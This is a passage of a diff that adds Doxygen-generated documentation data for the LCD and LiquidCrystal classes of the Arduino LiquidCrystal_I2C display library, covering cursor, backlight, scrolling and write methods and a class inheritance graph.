the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a00bb2db1390721abc7b24ac4b8c276c8'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LCD'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '179'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a238e9f6476dc7df64af04eb6c87f6ac7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'leftToRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '309'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aad2abc99d1aca5403873579d9d72c2d4'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'moveCursorLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '330'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Moves the cursor one space to the left. + @discussion + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a09eec0c712e54b066f5894635c1fe75c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'moveCursorRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '339'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Moves the cursor one space to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a96035dde40efbf73390e00b5beb00231'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noAutoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '364'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a2a331b4e142734411b2f1cfaffe7a488'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '411'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3b755c4b397b5985752be8c30ee1a9b5'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBlink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '250'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aec8ffaa1e69c7a6e13ac0cfbc29151d9'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noCursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '268'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Hides the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1af3974da6d988ba2d21c25135ada12108'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noDisplay'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '231'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a191639be183be1476c9bfe6d455d23b2'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'off'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '429'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch off the LCD module. + @discussion Switch off the LCD module, it will switch off the LCD controller + and the backlight. This method has the same effect of calling noDisplay and + noBacklight. @see display, @see backlight +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a718da3a638deb59bd1c7a5222a52d98a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'on'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '420'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch on the LCD module. + @discussion Switch on the LCD module, it will switch on the LCD controller + and the backlight. This method has the same effect of calling display and + backlight. @see display, @see backlight +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1ac014830eadc26bfd86308ea8734f4428'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'rightToLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '322'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a6f3a503055b3b8dcf0f61b2633c584f7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '287'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abfc44b294772f09020bfa32af8a79571'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '296'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3305570d7b37eb93f2cf840263c15828'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '463'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. The behaviour + of this method is very dependent on the device. Some controllers support + dimming some don't. Please read the actual header file for each individual + device. The setBacklightPin method has to be called before setting the backlight + or the adequate backlight control constructor. + @see setBacklightPin. + + NOTE: The prefered methods to control the backlight are "backlight" and + "noBacklight". + + @param 0..255 - the value is very dependent on the LCD. However, + BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the + backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a53f4ee9b39d9ab3d7ae4d9f8dedca3bc'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '444'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + This method is device dependent and can be programmed on each subclass. An + empty function call is provided that does nothing. + + @param value: pin associated to backlight control. + @param pol: backlight polarity control (POSITIVE, NEGATIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a48220450fd152b25994eb7d0ba340e8d'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setCursor'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'col'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'row'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '393'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col[in] LCD column + @param row[in] LCD row - line. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a2d89cc2e62f72afb5f15a7fd812900e3'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '477'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value[in] Value to write to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'protected-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a88b16ea0e5c7d1cabc5007d48bcbd2b0'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_cols'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '497'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ae47a0e2eff74431a39774b788d5761f4'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaycontrol'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '493'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1aef093ba3f8e1016267b40ac235a0fa0f'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displayfunction'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '491'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a726b9a68d091dd8683a18e83f3a8fd3c'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaymode'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '495'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ac1374911fb145fea430c21092ada0c06'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_numlines'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '496'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a990338759d2abe10b0fb1743b7789566'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_polarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '498'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a31a0cb42497d83cdc9cb8000828f7190'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'command'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '513'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value[in] Command value to send to the LCD (COMMAND, DATA or + FOUR_BITS). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a8a5b6f6f448a6ca6eeb3466c370d47ab'; + sec-mem-virt = virtual; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '529'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + cp-fileline = '170'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 5; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 2; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 3; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 4; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 6; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 7; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal'; + cp-name = 'LiquidCrystal'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a49d2bd8d26031a1c83bcbd73978a1686'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '55'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a30e3d865c4b4a003a36cb45903f93644'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t 